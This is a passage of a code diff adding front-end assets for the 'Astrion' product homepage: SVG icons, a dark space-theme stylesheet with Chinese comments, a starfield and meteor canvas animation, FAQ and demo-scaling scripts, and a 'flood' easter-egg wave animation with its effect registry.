function eyeScale(k) {
return EYE_IDLE.map(function (v, i) { return i % 2 ? v * k : v; });
}
window.AstrionAvatar = {
mount: mount,
handle: handle,
eyeScale: eyeScale,
EYE_IDLE: EYE_IDLE,
EYE_BLINK: EYE_BLINK
};
})();

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path fill="none" d="M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z"/></svg>

After

Width:  |  Height:  |  Size: 396 B

View File

@ -0,0 +1,549 @@
/*
Astrion 官网主页 深空主题
原则 glow无圆角套娃无大面积纯黑克制用色
*/
:root {
/* 深空底色:带蓝意的暗色,不用纯黑 */
--bg-0: #0c1120; /* 页面最深底 */
--bg-1: #111830; /* 天顶微亮 */
--bg-panel: #151c31; /* 实体面板(不透明) */
--text-1: #eef1f8;
--text-2: #a7b0c4;
--text-3: #6b7488;
--line: rgba(168, 180, 210, 0.14);
--line-strong: rgba(168, 180, 210, 0.24);
/* 唯一强调色星空冰蓝克制使用eyebrow/hover/active 态) */
--accent: #a9c2f0;
--accent-strong: #c1d4f6;
--accent-ink: #0c1120;
/* CTA 用星白实底 */
--cta: #eef1f8;
--cta-hover: #dde3f0;
/* 迷你示意用的状态色(低饱和) */
--ok: #7ba889;
--del: #b0766a;
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas,
"Liberation Mono", monospace;
--page-max: 1120px;
--topbar-h: 60px;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
html {
scroll-behavior: smooth;
/* 橡皮筋过度滚动时露出的底色:与页面渐变同源,杜绝露白 */
background: linear-gradient(180deg, #111830 0%, #0c1120 34rem, #0c1120 100%);
background-color: #0c1120;
}
body {
font-family: var(--font-sans);
color: var(--text-1);
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 34rem, var(--bg-0) 100%);
background-attachment: fixed;
line-height: 1.6;
-webkit-font-smoothing: antialiased;
overflow-x: hidden;
}
::selection { background: rgba(169, 194, 240, 0.3); }
a { color: inherit; text-decoration: none; }
code {
font-family: var(--font-mono);
font-size: 0.86em;
padding: 0.1em 0.42em;
background: rgba(168, 180, 210, 0.12);
border-radius: 5px;
}
/* ───────── 星空画布fixed 全页背景,内容浮在上 ───────── */
#starfield {
position: fixed;
inset: 0;
width: 100%;
height: 100%;
z-index: 0;
pointer-events: none;
}
.topbar, main, .footer { position: relative; z-index: 1; }
/* ───────── 通用 ───────── */
.eyebrow {
font-family: var(--font-mono);
font-size: 12px;
letter-spacing: 0.18em;
text-transform: uppercase;
color: var(--accent);
}
.section-head {
max-width: var(--page-max);
margin: 0 auto;
padding: 0 32px;
}
.section-title {
margin-top: 14px;
font-size: clamp(26px, 3.4vw, 36px);
font-weight: 650;
letter-spacing: -0.01em;
line-height: 1.25;
}
.section-sub {
margin-top: 12px;
max-width: 560px;
color: var(--text-2);
font-size: 15px;
}
/* ───────── 按钮:固定高度,状态切换不改尺寸 ───────── */
.btn {
display: inline-flex;
align-items: center;
justify-content: center;
height: 44px;
padding: 0 22px;
border-radius: 8px;
font-size: 15px;
font-weight: 550;
letter-spacing: 0.01em;
border: 1px solid transparent;
transition: background-color 0.16s ease, border-color 0.16s ease, color 0.16s ease;
white-space: nowrap;
}
.btn-sm { height: 36px; padding: 0 16px; font-size: 13.5px; }
.btn-primary { background: var(--cta); color: var(--accent-ink); }
.btn-primary:hover { background: var(--cta-hover); }
.btn-ghost { border-color: var(--line-strong); color: var(--text-1); }
.btn-ghost:hover { border-color: var(--text-2); background: rgba(168, 180, 210, 0.06); }
/* ───────── 顶栏 ───────── */
.topbar {
position: fixed;
top: 0; left: 0; right: 0;
height: var(--topbar-h);
z-index: 50;
/* 初始透明(浮在 hero 上),滚动后实底 */
background: transparent;
border-bottom: 1px solid transparent;
transition: background-color 0.2s ease, border-color 0.2s ease;
}
.topbar.scrolled {
background: var(--bg-0);
border-bottom-color: var(--line);
}
.topbar-inner {
max-width: var(--page-max);
height: 100%;
margin: 0 auto;
padding: 0 32px;
display: flex;
align-items: center;
justify-content: space-between;
}
.brand { display: inline-flex; align-items: center; gap: 10px; }
.brand-logo { width: 26px; height: 26px; color: var(--text-1); display: inline-flex; }
.brand-logo .astrion-avatar { width: 100%; height: 100%; }
.brand-logo-sm { width: 20px; height: 20px; }
.brand-name { font-size: 16px; font-weight: 620; letter-spacing: 0.01em; }
.topnav { display: flex; align-items: center; gap: 26px; }
.topnav-link {
font-size: 14px;
color: var(--text-2);
transition: color 0.15s ease;
}
.topnav-link:hover { color: var(--text-1); }
/* ───────── 总览 ───────── */
.hero {
max-width: var(--page-max);
margin: 0 auto;
padding: calc(var(--topbar-h) + 96px) 32px 110px;
}
.hero-title-row { margin-top: 22px; }
.hero-title {
font-size: clamp(72px, 12.5vw, 156px);
font-weight: 700;
letter-spacing: -0.035em;
line-height: 1;
background: linear-gradient(160deg, #f4f6fc 30%, #b9c3da 100%);
-webkit-background-clip: text;
background-clip: text;
color: transparent;
}
/* 六边形眼睛跟随标题字号
盒高 1.025em 六边形实高 0.71em= 大写字高
vertical-align 补偿 viewBox 底部余白与标题 baseline 对齐 */
.hero-mascot {
display: inline-block;
width: 1.025em;
height: 1.025em;
margin-left: 0.16em;
vertical-align: -0.157em;
color: #eef1f8;
}
.hero-mascot .astrion-avatar { width: 100%; height: 100%; }
.hero-sub {
margin-top: 28px;
max-width: 520px;
font-size: 17px;
color: var(--text-2);
}
.hero-actions { margin-top: 34px; display: flex; gap: 14px; }
.hero-platforms {
margin-top: 44px;
display: flex;
align-items: center;
flex-wrap: wrap;
gap: 14px;
font-family: var(--font-mono);
font-size: 13px;
color: var(--text-3);
}
.platform em { font-style: normal; color: var(--text-3); opacity: 0.75; }
.platform-sep { width: 3px; height: 3px; border-radius: 50%; background: var(--text-3); opacity: 0.5; }
/* ───────── 演示区 ───────── */
.demo { padding: 60px 0 40px; scroll-margin-top: 40px; }
.demo-frame-wrap {
max-width: calc(var(--page-max) + 2px);
margin: 34px auto 0;
padding: 0 32px;
}
.demo-frame {
position: relative;
border: 1px solid var(--line-strong);
border-radius: 10px;
overflow: hidden;
background: var(--bg-panel);
}
.demo-frame iframe {
display: block;
border: 0;
width: 1400px; /* 逻辑尺寸:永不触发窄屏断点 */
height: 860px;
transform-origin: top left;
}
.demo-note {
max-width: var(--page-max);
margin: 14px auto 0;
padding: 0 32px;
font-size: 13px;
color: var(--text-3);
}
/* ───────── 特色功能 ───────── */
.features { padding: 110px 0 30px; scroll-margin-top: 20px; }
.feature-list {
max-width: var(--page-max);
margin: 26px auto 0;
padding: 0 32px;
}
.feature-row {
display: block;
padding: 54px 0;
border-top: 1px solid var(--line);
}
.feature-row:last-child { border-bottom: 1px solid var(--line); }
/* 带动画的行左文右动画动画列给足 54003/04 舞台逻辑宽 舞台 curScale=1 不缩放
三个动画的智能体渲染尺寸一致 */
.feature-row--anim {
display: grid;
grid-template-columns: minmax(0, 1fr) minmax(0, 540px);
gap: clamp(32px, 6vw, 80px);
align-items: center;
}
.feature-anim {
position: relative;
height: 388px;
}
/* 动画内部元素样式在 anim-embed.css与 anim-demo 共用类名, token 取自主题) */
.feature-index {
font-family: var(--font-mono);
font-size: 12.5px;
color: var(--text-3);
letter-spacing: 0.14em;
}
.feature-title {
margin-top: 10px;
font-size: clamp(21px, 2.6vw, 27px);
font-weight: 640;
letter-spacing: -0.01em;
}
.feature-desc {
margin-top: 12px;
max-width: 560px;
font-size: 15px;
color: var(--text-2);
}
/* —— 迷你 UI 示意:纯 CSS无装饰性元素 —— */
.feature-visual {
display: flex;
justify-content: center;
align-items: center;
min-height: 120px;
}
/* 01 三档分段控件 */
.mini-modeswitch {
display: flex;
border: 1px solid var(--line-strong);
border-radius: 9px;
overflow: hidden;
background: var(--bg-panel);
}
.mini-mode {
height: 38px;
display: flex;
align-items: center;
padding: 0 22px;
font-size: 14px;
color: var(--text-2);
border-left: 1px solid var(--line);
}
.mini-mode:first-child { border-left: 0; }
.mini-mode.is-active { background: rgba(169, 194, 240, 0.13); color: var(--accent-strong); }
/* 02 权限开关组 */
.mini-perms {
display: flex;
flex-direction: column;
gap: 2px;
border: 1px solid var(--line-strong);
border-radius: 9px;
background: var(--bg-panel);
padding: 6px 0;
min-width: 260px;
}
.mini-perm {
display: flex;
align-items: center;
justify-content: space-between;
height: 40px;
padding: 0 16px;
}
.mini-perm + .mini-perm { border-top: 1px solid var(--line); }
.mini-perm-label { font-size: 14px; color: var(--text-1); }
.mini-switch {
width: 34px;
height: 20px;
border-radius: 10px;
background: rgba(168, 180, 210, 0.22);
position: relative;
transition: background-color 0.16s ease;
}
.mini-switch::after {
content: "";
position: absolute;
top: 2px; left: 2px;
width: 16px; height: 16px;
border-radius: 50%;
background: var(--text-1);
transition: transform 0.16s ease;
}
.mini-switch.is-on { background: var(--accent); }
.mini-switch.is-on::after { transform: translateX(14px); background: #0c1120; }
/* 03 diff 片段 */
.mini-diff {
border: 1px solid var(--line-strong);
border-radius: 9px;
background: var(--bg-panel);
font-family: var(--font-mono);
font-size: 12.5px;
min-width: 300px;
overflow: hidden;
}
.mini-diff-file {
padding: 9px 14px;
color: var(--text-2);
border-bottom: 1px solid var(--line);
}
.mini-diff-line { padding: 5px 14px; white-space: nowrap; }
.mini-diff-line.is-add { color: var(--ok); background: rgba(123, 168, 137, 0.08); }
.mini-diff-line.is-del { color: var(--del); background: rgba(176, 118, 106, 0.07); }
.mini-diff-stat {
padding: 8px 14px;
border-top: 1px solid var(--line);
color: var(--text-3);
}
/* 04 检查点时间线 */
.mini-timeline {
display: flex;
flex-direction: column;
gap: 0;
border: 1px solid var(--line-strong);
border-radius: 9px;
background: var(--bg-panel);
padding: 8px 0;
min-width: 260px;
}
.mini-tl-node {
display: flex;
align-items: center;
gap: 12px;
height: 40px;
padding: 0 16px;
position: relative;
}
.mini-tl-node + .mini-tl-node::before {
content: "";
position: absolute;
left: 21px;
top: -6px;
width: 1px;
height: 12px;
background: var(--line-strong);
}
.mini-tl-dot {
width: 11px; height: 11px;
border-radius: 50%;
border: 2px solid var(--text-3);
flex: none;
}
.mini-tl-node.is-current .mini-tl-dot { border-color: var(--accent); background: var(--accent); }
.mini-tl-label { font-size: 14px; color: var(--text-1); }
.mini-tl-node.is-current .mini-tl-label { color: var(--accent-strong); }
/* ───────── FAQ ───────── */
.faq { padding: 110px 0 60px; scroll-margin-top: 20px; }
.faq-list {
max-width: 760px;
margin: 30px auto 0;
padding: 0 32px;
}
.faq-item { border-top: 1px solid var(--line); }
.faq-item:last-child { border-bottom: 1px solid var(--line); }
.faq-q {
display: flex;
align-items: center;
justify-content: space-between;
gap: 20px;
min-height: 62px;
padding: 12px 2px;
cursor: pointer;
font-size: 16px;
font-weight: 550;
list-style: none;
transition: color 0.15s ease;
}
.faq-q::-webkit-details-marker { display: none; }
.faq-q:hover { color: var(--accent-strong); }
.faq-icon {
flex: none;
width: 14px; height: 14px;
position: relative;
}
.faq-icon::before, .faq-icon::after {
content: "";
position: absolute;
background: var(--text-2);
transition: transform 0.2s ease;
}
.faq-icon::before { left: 0; top: 6px; width: 14px; height: 1.5px; }
.faq-icon::after { left: 6.25px; top: 0; width: 1.5px; height: 14px; }
.faq-item[open] .faq-icon::after { transform: scaleY(0); }
.faq-a {
overflow: hidden;
/* JS 做高度动画;无 JS 时 details 原生展开也完整可读 */
}
.faq-a p {
padding: 2px 2px 22px;
max-width: 640px;
color: var(--text-2);
font-size: 15px;
}
/* ───────── 底栏 ───────── */
.footer {
border-top: 1px solid var(--line);
margin-top: 60px;
}
.footer-inner {
max-width: var(--page-max);
margin: 0 auto;
padding: 26px 32px;
display: flex;
align-items: center;
justify-content: space-between;
}
.footer-brand {
display: flex;
align-items: center;
gap: 9px;
font-size: 14px;
font-weight: 580;
color: var(--text-2);
}
.footer-links { display: flex; gap: 24px; }
.footer-links a { font-size: 13.5px; color: var(--text-3); transition: color 0.15s ease; }
.footer-links a:hover { color: var(--text-1); }
/* ───────── 响应式 ───────── */
@media (max-width: 860px) {
.feature-row--anim { grid-template-columns: minmax(0, 1fr); }
.feature-anim { height: 340px; }
.topnav-link { display: none; }
.hero { padding-top: calc(var(--topbar-h) + 64px); padding-bottom: 72px; }
}
@media (prefers-reduced-motion: reduce) {
html { scroll-behavior: auto; }
.btn, .topbar, .faq-q { transition: none; }
}

View File

@ -0,0 +1,288 @@
/* Astrion
* 1) 多层视差星空无连线无光晕实心星点 + 闪烁 + 极慢漂移 + 鼠标/滚动视差 + 偶发流星
* 2) 顶栏滚动态
* 3) FAQ 手风琴平滑展开details + 高度动画
* 4) 演示区 iframe 等比缩放内部固定 1400×860 逻辑尺寸
* 5) 挂载品牌眼睛眨眼 + 鼠标追踪
*/
(function () {
'use strict';
var reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
/* ═══════════ 1) 星空 ═══════════ */
var canvas = document.getElementById('starfield');
var ctx = canvas.getContext('2d');
var W = 0;
var H = 0;
var DPR = Math.min(window.devicePixelRatio || 1, 2);
// 层:远 → 近。count 按屏幕面积缩放drift 为每秒下落 pxparallax 为鼠标/滚动视差系数
var LAYERS = [
{ density: 1 / 5200, sizeMin: 0.4, sizeMax: 0.9, drift: 1.2, parallax: 6, twinkle: 0.35, alpha: 0.55 },
{ density: 1 / 9800, sizeMin: 0.7, sizeMax: 1.3, drift: 2.6, parallax: 14, twinkle: 0.55, alpha: 0.75 },
{ density: 1 / 21000, sizeMin: 1.1, sizeMax: 1.9, drift: 4.5, parallax: 26, twinkle: 0.8, alpha: 1.0 }
];
var stars = [];
var meteors = [];
var nextMeteorAt = 0;
function resize() {
W = window.innerWidth;
H = window.innerHeight;
canvas.width = Math.round(W * DPR);
canvas.height = Math.round(H * DPR);
canvas.style.width = W + 'px';
canvas.style.height = H + 'px';
ctx.setTransform(DPR, 0, 0, DPR, 0, 0);
seed();
if (reduceMotion) draw(0, 0, 0);
}
function seed() {
stars = [];
var area = W * H;
for (var li = 0; li < LAYERS.length; li++) {
var L = LAYERS[li];
var n = Math.max(12, Math.round(area * L.density));
for (var i = 0; i < n; i++) {
stars.push({
layer: li,
x: Math.random() * W,
y: Math.random() * H,
r: L.sizeMin + Math.random() * (L.sizeMax - L.sizeMin),
// 闪烁相位与速度(部分星几乎不闪,画面才稳)
phase: Math.random() * Math.PI * 2,
speed: 0.25 + Math.random() * 0.9,
amp: 0.25 + Math.random() * 0.75
});
}
}
}
// 鼠标视差目标值
var mouseTx = 0;
var mouseTy = 0;
var mouseX = 0;
var mouseY = 0;
window.addEventListener('mousemove', function (e) {
mouseTx = e.clientX / W - 0.5;
mouseTy = e.clientY / H - 0.5;
}, { passive: true });
function scheduleMeteor(now) {
// 2248 秒一颗,保持稀有
nextMeteorAt = now + 22000 + Math.random() * 26000;
}
function spawnMeteor() {
var fromLeft = Math.random() < 0.5;
var startX = fromLeft ? -40 : W * (0.35 + Math.random() * 0.65);
var startY = Math.random() * H * 0.4;
var angle = fromLeft ? 0.32 + Math.random() * 0.2 : Math.PI - (0.32 + Math.random() * 0.2);
var speed = 380 + Math.random() * 240;
meteors.push({
x: startX,
y: startY,
vx: Math.cos(angle) * speed,
vy: Math.abs(Math.sin(angle)) * speed,
life: 0,
ttl: 0.7 + Math.random() * 0.35
});
}
var lastTs = 0;
function tick(ts) {
if (document.hidden) {
lastTs = ts;
requestAnimationFrame(tick);
return;
}
var dt = Math.min((ts - lastTs) / 1000 || 0, 0.05);
lastTs = ts;
var now = ts;
// 鼠标视差缓动
mouseX += (mouseTx - mouseX) * 0.04;
mouseY += (mouseTy - mouseY) * 0.04;
if (now >= nextMeteorAt) {
spawnMeteor();
scheduleMeteor(now);
}
draw(dt, ts, window.scrollY || 0);
// 流星生命推进
for (var i = meteors.length - 1; i >= 0; i--) {
var m = meteors[i];
m.life += dt;
m.x += m.vx * dt;
m.y += m.vy * dt;
if (m.life > m.ttl || m.y > H + 60) meteors.splice(i, 1);
}
requestAnimationFrame(tick);
}
function draw(dt, ts, scrollY) {
ctx.clearRect(0, 0, W, H);
var t = ts / 1000;
for (var i = 0; i < stars.length; i++) {
var s = stars[i];
var L = LAYERS[s.layer];
if (dt) {
s.y += L.drift * dt;
if (s.y > H + 4) { s.y = -4; s.x = Math.random() * W; }
}
// 视差:滚动让星野整体上移(近处更明显),鼠标让层间错动
var px = s.x + mouseX * L.parallax * 2;
var py = s.y - (scrollY * L.parallax * 0.012) + mouseY * L.parallax;
// 纵向包裹,保证滚动后星点仍铺满
var wrappedY = ((py % (H + 8)) + (H + 8)) % (H + 8) - 4;
var tw = 1 - L.twinkle * 0.5 + L.twinkle * 0.5 * Math.sin(t * s.speed + s.phase) * s.amp;
var a = L.alpha * Math.max(0.15, Math.min(1, tw));
ctx.globalAlpha = a;
ctx.fillStyle = '#dfe6f5';
ctx.fillRect(px, wrappedY, s.r, s.r);
}
// 流星:短细线段,头部略亮(线性渐变线条,不是光晕)
for (var j = 0; j < meteors.length; j++) {
var m = meteors[j];
var fade = 1 - m.life / m.ttl;
var tailX = m.x - m.vx * 0.14;
var tailY = m.y - m.vy * 0.14;
var grad = ctx.createLinearGradient(tailX, tailY, m.x, m.y);
grad.addColorStop(0, 'rgba(223,230,245,0)');
grad.addColorStop(1, 'rgba(223,230,245,' + (0.6 * fade).toFixed(3) + ')');
ctx.globalAlpha = 1;
ctx.strokeStyle = grad;
ctx.lineWidth = 1.1;
ctx.beginPath();
ctx.moveTo(tailX, tailY);
ctx.lineTo(m.x, m.y);
ctx.stroke();
}
ctx.globalAlpha = 1;
}
resize();
window.addEventListener('resize', resize, { passive: true });
if (reduceMotion) {
draw(0, 0, 0); // 静态星图
} else {
scheduleMeteor(performance.now() + 6000); // 首颗稍提前,证明存在
requestAnimationFrame(tick);
// 滚动时重绘由 rAF 持续驱动,无需 scroll 监听
}
/* ═══════════ 2) 顶栏滚动态 ═══════════ */
var topbar = document.getElementById('topbar');
function onScroll() {
topbar.classList.toggle('scrolled', (window.scrollY || 0) > 24);
}
window.addEventListener('scroll', onScroll, { passive: true });
onScroll();
/* ═══════════ 3) FAQ 平滑手风琴 ═══════════ */
var faqItems = document.querySelectorAll('.faq-item');
faqItems.forEach(function (item) {
var summary = item.querySelector('.faq-q');
var panel = item.querySelector('.faq-a');
summary.addEventListener('click', function (e) {
e.preventDefault();
if (reduceMotion) {
item.open = !item.open;
return;
}
if (item.open) {
// 收起:先固定高度再过渡到 0
var h0 = panel.offsetHeight;
panel.style.height = h0 + 'px';
requestAnimationFrame(function () {
panel.style.transition = 'height 0.22s ease';
panel.style.height = '0px';
});
panel.addEventListener('transitionend', function done() {
panel.removeEventListener('transitionend', done);
panel.style.cssText = '';
item.open = false;
});
} else {
item.open = true;
var h1 = panel.offsetHeight;
panel.style.height = '0px';
requestAnimationFrame(function () {
panel.style.transition = 'height 0.24s ease';
panel.style.height = h1 + 'px';
});
panel.addEventListener('transitionend', function done() {
panel.removeEventListener('transitionend', done);
panel.style.cssText = '';
});
}
});
});
/* ═══════════ 4) 演示区等比缩放 ═══════════ */
var frame = document.getElementById('demoFrame');
var iframe = document.getElementById('demoIframe');
var DEMO_W = 1400;
var DEMO_H = 860;
function fitDemo() {
var available = frame.clientWidth;
var scale = Math.min(1, available / DEMO_W);
iframe.style.transform = 'scale(' + scale + ')';
frame.style.height = Math.round(DEMO_H * scale) + 'px';
}
if ('ResizeObserver' in window) {
new ResizeObserver(fitDemo).observe(frame);
}
window.addEventListener('resize', fitDemo, { passive: true });
fitDemo();
/* ═══════════ 5) 品牌眼睛 ═══════════ */
if (window.AstrionAvatar) {
AstrionAvatar.mount(document.getElementById('heroMascot'), { mode: 'idle', blink: true, track: true });
}
/* ═══════════ 6) 运行模式动画(功能 01 行) ═══════════ */
if (window.AnimModes && document.getElementById('animModes')) {
AnimModes.init(document.getElementById('animModes'));
}
/* ═══════════ 7) 沙箱与网络授权动画(功能 02 行) ═══════════ */
if (window.AnimSandbox && document.getElementById('animSandbox')) {
AnimSandbox.init(document.getElementById('animSandbox'));
}
/* ═══════════ 8) 修改记录动画(功能 03 行) ═══════════ */
if (window.AnimRecords && document.getElementById('animRecords')) {
AnimRecords.init(document.getElementById('animRecords'));
}
/* ═══════════ 9) 版本控制动画(功能 04 行) ═══════════ */
if (window.AnimVersion && document.getElementById('animVersion')) {
AnimVersion.init(document.getElementById('animVersion'));
}
})();

View File

@ -0,0 +1,35 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -4 200 200" aria-hidden="true">
<style>
.sa-frame, .sa-eye {
stroke: #000000;
stroke-linecap: round;
stroke-linejoin: round;
fill: none;
}
.sa-frame {
stroke-width: 12;
}
.sa-eye {
stroke-width: 10;
}
@media (prefers-color-scheme: dark) {
.sa-frame, .sa-eye {
stroke: #ffffff;
}
}
</style>
<path
class="sa-frame"
d="M 175.959,107.000 Q 180.000,100.000 175.959,93.000 L 144.041,37.718 Q 140.000,30.718 131.917,30.718 L 68.083,30.718 Q 60.000,30.718 55.959,37.718 L 24.041,93.000 Q 20.000,100.000 24.041,107.000 L 55.959,162.282 Q 60.000,169.282 68.083,169.282 L 131.917,169.282 Q 140.000,169.282 144.041,162.282 Z"
/>
<path
class="sa-eye"
d="M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11"
transform="translate(84, 96)"
/>
<path
class="sa-eye"
d="M 0,-11 Q 0,-5.5 0,0 Q 0,5.5 0,11 Q 0,5.5 0,0 Q 0,-5.5 0,-11"
transform="translate(116, 96)"
/>
</svg>

After

Width:  |  Height:  |  Size: 1.0 KiB

View File

@ -0,0 +1,38 @@
.easter-egg-overlay .easter-egg-water {
position: relative;
width: 100%;
height: 100%;
}
.easter-egg-overlay .easter-egg-water-container {
position: absolute;
bottom: -2px;
left: 0;
width: 100%;
height: 0%;
overflow: visible;
pointer-events: none;
}
.easter-egg-overlay .easter-egg-water-container .wave {
position: absolute;
bottom: 0;
left: 0;
width: 200%;
height: 100%;
background-repeat: repeat-x;
background-position: bottom;
opacity: 0.9;
}
.easter-egg-overlay .easter-egg-water-container .wave.wave1 {
filter: blur(0.5px);
}
.easter-egg-overlay .easter-egg-water-container .wave.wave2 {
filter: blur(1px);
}
.easter-egg-overlay .easter-egg-water-container .wave.wave3 {
filter: blur(1.5px);
}

View File

@ -0,0 +1,267 @@
(function registerFloodEffect(global) {
const registry = global.EasterEggRegistry;
if (!registry) {
console.error('[easter-eggs:flood] 未找到 EasterEggRegistry无法注册特效');
return;
}
registry.register('flood', function createFloodEffect(context = {}) {
const root = context.root;
if (!root) {
throw new Error('缺少彩蛋根节点');
}
const payload = context.payload || {};
const wrapper = document.createElement('div');
wrapper.className = 'easter-egg-water';
const container = document.createElement('div');
container.className = 'easter-egg-water-container';
wrapper.appendChild(container);
root.appendChild(wrapper);
const waves = createWaves(container);
const state = {
payload,
root,
wrapper,
container,
waves,
styleNode: null,
retreatPromise: null,
retreatTimeout: null
};
runFloodAnimation(state);
return {
/**
* 销毁特效
* @param {{immediate?: boolean}} options
*/
destroy(options = {}) {
const immediate = Boolean(options.immediate);
if (immediate) {
cleanupFloodState(state);
return null;
}
if (state.retreatPromise) {
return state.retreatPromise;
}
return startFloodRetreat(state);
}
};
});
function createWaves(container) {
const waves = [];
for (let i = 1; i <= 3; i++) {
const wave = document.createElement('div');
wave.className = `wave wave${i}`;
container.appendChild(wave);
waves.push(wave);
}
return waves;
}
function runFloodAnimation(state) {
const { container, waves, payload } = state;
if (!container || !waves.length) {
return;
}
const styleEl = document.createElement('style');
styleEl.setAttribute('data-easter-egg', 'flood');
document.head.appendChild(styleEl);
state.styleNode = styleEl;
const sheet = styleEl.sheet;
if (!sheet) {
return;
}
container.style.animation = 'none';
container.style.height = '0%';
void container.offsetHeight;
const range = Array.isArray(payload.intensity_range) && payload.intensity_range.length === 2
? payload.intensity_range
: [0.85, 0.92];
const minHeight = Math.min(range[0], range[1]);
const maxHeight = Math.max(range[0], range[1]);
const targetHeight = randRange(minHeight * 100, maxHeight * 100);
const riseDuration = randRange(30, 40);
const easing = pickOne([
'ease-in-out',
'cubic-bezier(0.25, 0.46, 0.45, 0.94)',
'cubic-bezier(0.42, 0, 0.58, 1)'
]) || 'ease-in-out';
const riseName = uniqueKey('flood_rise');
sheet.insertRule(
`@keyframes ${riseName} { 0% { height: 0%; } 100% { height: ${targetHeight}%; } }`,
sheet.cssRules.length
);
container.style.animation = `${riseName} ${riseDuration}s ${easing} forwards`;
const directionSets = [
[1, 1, -1],
[1, -1, -1],
[-1, 1, 1],
[-1, -1, 1]
];
const directions = pickOne(directionSets) || [1, -1, 1];
const colors = [
'rgba(135, 206, 250, 0.35)',
'rgba(100, 181, 246, 0.45)',
'rgba(33, 150, 243, 0.4)'
];
waves.forEach((wave, index) => {
const svgData = buildFloodWaveShape(index);
const color = colors[index % colors.length];
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 ${svgData.width} 1000" preserveAspectRatio="none"><path d="${svgData.path}" fill="${color}"/></svg>`;
const encoded = encodeURIComponent(svg);
wave.style.backgroundImage = `url("data:image/svg+xml,${encoded}")`;
wave.style.backgroundSize = `${svgData.waveWidth}px 100%`;
const animationName = uniqueKey(`flood_wave_${index}`);
const startPosition = randInt(-200, 200);
const distance = svgData.waveWidth * (directions[index] || 1);
const duration = index === 0 ? randRange(16, 22) : index === 1 ? randRange(11, 16) : randRange(7, 12);
const delay = randRange(0, 1.5);
sheet.insertRule(
`@keyframes ${animationName} { 0% { background-position-x: ${startPosition}px; } 100% { background-position-x: ${startPosition + distance}px; } }`,
sheet.cssRules.length
);
wave.style.animation = `${animationName} ${duration}s linear infinite`;
wave.style.animationDelay = `${delay}s`;
wave.style.backgroundPositionX = `${startPosition}px`;
});
}
function startFloodRetreat(state) {
const { container } = state;
if (!container) {
cleanupFloodState(state);
return Promise.resolve();
}
state.retreatPromise = new Promise((resolve) => {
const measuredHeight = container.offsetHeight || container.clientHeight;
const computedHeight = window.getComputedStyle(container).height;
const currentHeight = measuredHeight
? `${measuredHeight}px`
: (computedHeight && computedHeight !== 'auto' ? computedHeight : '0px');
container.style.animation = 'none';
container.style.transition = 'none';
container.style.height = currentHeight;
void container.offsetHeight;
const retreatDuration = 8;
container.style.transition = `height ${retreatDuration}s ease-in-out`;
requestAnimationFrame(() => {
container.style.height = '0px';
});
state.retreatTimeout = window.setTimeout(() => {
container.style.transition = 'none';
cleanupFloodState(state);
resolve();
}, retreatDuration * 1000);
});
return state.retreatPromise;
}
function cleanupFloodState(state) {
if (state.retreatTimeout) {
clearTimeout(state.retreatTimeout);
state.retreatTimeout = null;
}
clearFloodAnimations(state);
teardownFloodStyle(state);
if (state.wrapper && state.wrapper.parentNode) {
state.wrapper.parentNode.removeChild(state.wrapper);
}
state.wrapper = null;
state.container = null;
state.waves = [];
state.retreatPromise = null;
}
function clearFloodAnimations(state) {
const { container, waves } = state;
if (!container) {
return;
}
container.style.animation = 'none';
container.style.transition = 'none';
container.style.height = '0%';
waves.forEach((wave) => {
wave.style.animation = 'none';
wave.style.backgroundImage = '';
wave.style.backgroundSize = '';
wave.style.backgroundPositionX = '0px';
});
}
function teardownFloodStyle(state) {
if (state.styleNode && state.styleNode.parentNode) {
state.styleNode.parentNode.removeChild(state.styleNode);
}
state.styleNode = null;
}
function buildFloodWaveShape(layerIndex) {
const baseHeight = 180 + layerIndex * 12;
const cycles = 4;
let path = `M0,${baseHeight}`;
let currentX = 0;
let previousAmplitude = randRange(40, 80);
for (let i = 0; i < cycles; i++) {
const waveLength = randRange(700, 900);
const minAmp = Math.max(20, previousAmplitude - 20);
const maxAmp = Math.min(90, previousAmplitude + 20);
const amplitude = randRange(minAmp, maxAmp);
previousAmplitude = amplitude;
const halfWave = waveLength / 2;
const peakX = currentX + halfWave / 2;
path += ` Q${peakX},${baseHeight - amplitude} ${currentX + halfWave},${baseHeight}`;
const troughX = currentX + halfWave + halfWave / 2;
path += ` Q${troughX},${baseHeight + amplitude} ${currentX + waveLength},${baseHeight}`;
currentX += waveLength;
}
path += ` L${currentX},1000 L0,1000 Z`;
return {
path,
width: currentX,
waveWidth: currentX / cycles
};
}
function randRange(min, max) {
return Math.random() * (max - min) + min;
}
function randInt(min, max) {
return Math.floor(randRange(min, max + 1));
}
function pickOne(arr) {
if (!Array.isArray(arr) || arr.length === 0) {
return null;
}
return arr[Math.floor(Math.random() * arr.length)];
}
function uniqueKey(prefix) {
const random = Math.random().toString(36).slice(2, 7);
return `${prefix}_${Date.now()}_${random}`;
}
})(window);

View File

@ -0,0 +1,67 @@
(function initEasterEggRegistry(global) {
/**
* 一个极简的彩蛋注册表用于在主应用与各特效实现之间解耦
* 每个特效需要调用 register(effectName, factory)factory 必须返回带有 destroy 方法的实例
*/
const registry = {
effects: Object.create(null),
/**
* 注册彩蛋
* @param {string} effectName
* @param {(context: object) => { destroy: Function }} factory
*/
register(effectName, factory) {
const key = (effectName || '').trim().toLowerCase();
if (!key) {
console.warn('[EasterEggRegistry] 忽略空 effectName');
return;
}
if (typeof factory !== 'function') {
console.warn('[EasterEggRegistry] 注册失败factory 不是函数:', effectName);
return;
}
